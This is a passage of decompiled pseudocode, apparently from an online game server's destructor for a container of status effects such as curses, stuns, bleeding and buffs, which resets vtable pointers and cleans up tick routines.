*)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SHARPBOARBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_SHARPBOARBLOODING.astr_Tick); v1->asl_SHARPBOARBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_TORTURERBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_TORTURERBLOODING.astr_Tick); v1->asl_TORTURERBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KQ_K_PHINOFLIECURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KQ_K_BOSSPHINOCURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BCTRUMPYCURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KINGMUSHROOMCURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_OLDARCHONCURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MARASAILORCURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_OGRECURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STONIECURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_DISHARKANCURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HARKANCURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GOBLINMAGECURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_OLDFOXCURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MARLONESOLDIERCURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SMARTPHINOCURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KARATEMPLERCURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ARCHMAGEBOOKCURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SKELWARRIORCURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MARACURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NAVARCURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KINGCRABCURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KEBINGCURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_JOKERTRUMPYTHCURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ELFKNIGHTSOULDEXCURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KQ_G_TBRAIDERCURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NOXSK2BLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_NOXSK2BLOODING.astr_Tick); v1->asl_NOXSK2BLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KQ_BOSSROBO2FEAR.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KQ_BOSSROBOFEAR.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GHOSTFEAR.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ARCHMAGEBOOKSTUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MARLONECAPTAINATKSPD.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KQSKELKNIGHTENTANGLE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HUNGRYWOLFBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_HUNGRYWOLFBLOODING.astr_Tick); v1->asl_HUNGRYWOLFBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GHKNIGHTENTANGLE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KINGCALLACPLUS.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GOKINGSTRRATE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GOKINGSTUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ROBOACPLUS.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SKELKNIGHTBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_SKELKNIGHTBLOODING.astr_Tick); v1->asl_SKELKNIGHTBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NOXENTANGLE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MARLONEENTANGLE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KINGSLIMEBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_KINGSLIMEBLOODING.astr_Tick); v1->asl_KINGSLIMEBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MARASTUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SOULEDGEMAIN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_THUNDERBOLT.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FROSTNOVA.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_CURSEMAGICCASTIME.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_CHAINCASTINGCOOLTIME.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_DRAINMINDFEAR.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_CHAINLIGHTNINGSTUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ICEBLASTSTUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_RINGSHIELD.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_DEEPER.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SOULEDGE5.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SOULEDGE4.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SOULEDGE3.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SOULEDGE2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SOULEDGE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BLUR.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_LIGHTNINGBOLT.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_LIGHTNINGBOLT.astr_Tick); v1->asl_LIGHTNINGBOLT.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ICEBOLT.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STINGERUPTIONSLOW.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SHOCKSCREAMWC.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_PIERCINGGUARD.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_PIERCINGGUARD.astr_Tick); v1->asl_PIERCINGGUARD.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NATURECASTINGCOOLTIME.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HAWKTALONATKSPEED.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SPIRITFOG.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_SPIRITFOG.astr_Tick); v1->asl_SPIRITFOG.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MISTCHARGE5.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MISTCHARGE4.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MISTCHARGE3.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MISTCHARGE2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MISTCHARGE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MISTCHARGEMAIN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BITEARROW.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_POISONSHOT.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_POISONSHOT.astr_Tick); v1->asl_POISONSHOT.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SPIRITTHORNENTANGLE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BONEARROW.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_BONEARROW.astr_Tick); v1->asl_BONEARROW.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_WINDCHARGE5.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_WINDCHARGE4.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_WINDCHARGE3.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_WINDCHARGE2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_WINDCHARGE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_WINDCHARGEMAIN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FORESTWIND.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_PURYIMPACTSTUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_PURYIMPACTSTUN.astr_Tick); v1->asl_PURYIMPACTSTUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ICEFIELD.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_POLYMORPH.baseclass_0.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MESMERIZE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_DEADLYBLESSING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BLIND.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ENTRAPHIDE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HIDE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NEGLECT5.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NEGLECT4.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NEGLECT3.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NEGLECT2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NEGLECT.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BUCKLER.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_REBIRTH.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_VIOLENCE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_VIOLENCE.astr_Tick); v1->asl_VIOLENCE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_DODGE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HORRORFORCESTR.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_REVERSEORDER.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_PANICFORCEMR.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_CROSSCASTINGCOOLTIME.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SACRIFICE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_DIVINEWEAPONWC5.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_DIVINEWEAPONWC4.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_DIVINEWEAPONWC3.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_DIVINEWEAPONWC2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_DIVINEWEAPONWC.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_DIVINEWEAPONWCMAIN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_DIVINESHIELD.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MENTALSHOUT5.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MENTALSHOUT4.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MENTALSHOUT3.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MENTALSHOUT2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MENTALSHOUT.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MENTALSHOUTMAIN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HITPROTECTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_RESTORE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_RESTORE.astr_Tick); v1->asl_RESTORE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_DARKNESSPROTECTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_PSYCHICCHOPBLOOD.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_PSYCHICCHOPBLOOD.astr_Tick); v1->asl_PSYCHICCHOPBLOOD.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_PSYCHICBLUNTSTUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SAFEPROTECTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BLESSING5.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BLESSING4.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BLESSING3.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BLESSING2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BLESSING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BLESSINGMAIN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BREAK.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SHOCKBLADESTUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BERSEKERFRENZY.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HARMDEFECT.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SPEEDSHIELD.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MORALEDECREASEWC.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MIGHTYSOUL5.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MIGHTYSOUL4.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MIGHTYSOUL3.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MIGHTYSOUL2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MIGHTYSOUL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MIGHTYSOULMAIN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BATTLEBLOWSTUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_REDSLASH.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_REDSLASH.astr_Tick); v1->asl_REDSLASH.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SEVERBONE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; } // 5A2720: using guessed type int (*AbnormalStateContainer__AbnormalStateElement___vftable_)(); // 5A2828: using guessed type int 